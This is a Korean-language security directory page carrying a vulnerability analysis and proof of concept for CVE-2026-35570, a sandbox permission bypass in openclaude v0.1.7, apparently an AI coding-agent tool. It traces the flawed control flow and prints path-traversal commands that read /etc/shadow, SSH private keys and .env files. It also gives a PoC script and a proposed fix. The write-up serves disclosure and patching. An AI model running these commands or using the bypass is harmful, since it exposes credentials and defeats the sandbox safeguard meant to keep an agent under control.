Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-35570 — # CVE-2026-35570 상세 분석 및 개념 증명 openclaude v0.1.7의 샌드박스 우회 취약점으로, 경로 탐색을 통해 샌드박스 외부의 임의 파일을 읽고 쓸 수 있게 해줍니다. | Kitploit
도구/GitHubGitHub/rickidevs/cve-2026-35570
Vulnerability AnalysisCode AnalysisExploitationWeb Security
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# CVE-2026-35570 상세 분석 및 개념 증명 openclaude v0.1.7의 샌드박스 우회 취약점으로, 경로 탐색을 통해 샌드박스 외부의 임의 파일을 읽고 쓸 수 있게 해줍니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

샌드박스 탈출: openclaude에서 심각한 경로 탐색 우회를 발견한 방법

CVE-2026-35570 | CVSS 8.4 (High) | openclaude v0.1.7


모든 취약점이 정교한 익스플로잇 체인을 요구하는 것은 아닙니다. 때로는 잘못 배치된 return 문 하나만으로 보안 모델에 구멍을 뚫을 수 있습니다. 이것이 바로 CVE-2026-35570입니다.

이 글은 openclaude v0.1.7에서 발견한 샌드박스 우회에 대한 분석입니다. 파일시스템 격리 계층을 검사 없이 통과하는 경로 탐색 페이로드를 가능하게 하는 로직 결함입니다.


발견 과정

bashPermissions.ts를 살펴보던 중 제어 흐름에서 눈에 띄는 부분이 있었습니다. 권한 로직은 언뜻 보기에 합리적으로 보였습니다. 샌드박스 안에 있으면 명령을 자동 허용하고, 그렇지 않으면 사용자에게 프롬프트를 표시하는 방식이었습니다. 충분히 깔끔해 보였습니다.

하지만 한 가지 질문이 계속 머릿속에 맴돌았습니다. 경로 제약 검사는 실제로 어디서 이루어지는가?

bashToolHasPermission()을 처음부터 끝까지 추적하며 실행 경로를 매핑했습니다:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] 샌드박스 자동 허용 블록
    │       └─ 거부 규칙 없음 → ALLOW 반환  ⚠️ 조기 종료
    │
    └─ [~1644] checkPathConstraints()              ❌ 도달 불가

샌드박스 블록은 샌드박스 환경에서 대화형 권한 프롬프트를 건너뛰기 위해 설계되었습니다. 완전히 합리적입니다. 문제는 를 반환할 때 함수가 그 자리에서 종료된다는 점입니다. 경로 탐색을 실제로 차단하는 는 실행되지 않습니다.

ALLOW
checkPathConstraints()

실제 동작 원리

bashToolHasPermission() 내부에서 샌드박스 자동 허용 블록은 다음 로직을 따릅니다:

  1. 샌드박싱이 활성화되었는가? → 예
  2. 자동 허용이 활성화되었는가? → 예
  3. 이 세션에 대한 명시적 거부 규칙이 있는가? → 아니요
  4. → ALLOW를 반환하고 함수 종료

이 시점에서 checkPathConstraints()는 완전히 우회됩니다. 경로 탐색 필터는 아무것도 할 기회를 얻지 못합니다.

공격자 관점에서 보면 다음과 같은 명령이 그대로 통과합니다:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

모두 behavior: allow로 반환됩니다. 프롬프트도, 차단도, 아무것도 없습니다.


영향

이 결함이 존재할 때 세 가지가 가능해집니다:

임의 파일 읽기. 샌드박스 경계 밖의 모든 것이 대상이 됩니다 — /etc/passwd, /etc/shadow, SSH 개인 키, .env 파일. OS 수준 권한이 허용하는 한 파일을 읽을 수 있습니다.

임의 파일 쓰기. 동일한 로직이 반대 방향으로도 적용됩니다. 공격자는 샌드박스 외부 경로에 파일을 쓸 수 있으며, 이는 구성 파일을 덮어쓰거나 예상치 못한 위치에 콘텐츠를 배치하는 길을 열어줍니다.

완전한 샌드박스 격리 실패. 샌드박스의 핵심 목적은 파일시스템 경계를 강제하는 것입니다. 이 버그가 존재하면 그 보장은 의미가 없습니다.

CVSS v3.1: 8.4 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


수정 방법

수정 방법은 개념적으로 간단합니다. 샌드박스 자동 허용 블록은 대화형 프롬프트만 억제해야 합니다. 전체 권한 파이프라인을 단락(short-circuit)시켜서는 안 됩니다.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // deny 또는 ask에 대해서만 조기 반환 — allow 시 경로 검사를 건너뛰지 않음
    return sandboxResult;
  }

  // allow인 경우 아래의 checkPathConstraints로 진행
}

// 경로 탐색 검사는 항상 실행되어야 함
return checkPathConstraints(input, appState.toolPermissionContext);

여기서의 핵심 원칙은 다음과 같습니다: 샌드박스 자동 허용은 프롬프트를 건너뛰는 것이지, 보안 검사를 건너뛰는 것이 아닙니다.


영향을 받는 버전

필드세부 정보
패키지openclaude
영향을 받는 버전v0.1.7
패치된 버전없음
CVECVE-2026-35570
CVSS8.4 (High)

개념 증명

요구 사항

  • Node.js >= 18
  • openclaude v0.1.7

1단계 — 클론 및 설치

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

2단계 — 샌드박스 모드 활성화

샌드박스 및 자동 허용 플래그를 설정하여 openclaude를 실행합니다:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

변수 이름은 약간 다를 수 있습니다. SandboxManager 클래스를 확인하여 빌드에 맞는 정확한 환경 변수 매핑을 확인하세요.

3단계 — 테스트 스크립트 실행

다음을 프로젝트 루트에 poc.ts로 저장합니다:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// 샌드박스 조건 설정
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// 경로 탐색이 포함된 페이로드
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Result:', result.behavior);
// 예상:  "deny"   — 경로 탐색이 차단되어야 함
// 실제:  "allow"  ← 취약점 확인됨

그런 다음 실행합니다:

root@kitploit:~
npx ts-node poc.ts

4단계 — 출력 확인

다음과 같은 결과가 표시됩니다:

root@kitploit:~
Result: allow

checkPathConstraints()는 호출되지 않았습니다. 직접 확인하려면 bashPermissions.ts에 로그 라인을 추가하세요:

root@kitploit:~
// 약 1644행 부근
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints was called'); // 이 로그는 절대 출력되지 않음
  // ...
}

스크립트를 다시 실행합니다. 로그가 나타나지 않을 것입니다 — 함수가 실제로 건너뛰어지고 있음을 의미합니다.

5단계 — 실제 인터페이스에서 재현

샌드박스 세션에서 openclaude를 열고 다음 명령을 제출합니다:

root@kitploit:~
cat ../../../../../etc/passwd

권한 프롬프트나 차단 없이 실행되며 /etc/passwd의 내용이 직접 출력됩니다.


CVE-2026-35570

도구 다운로드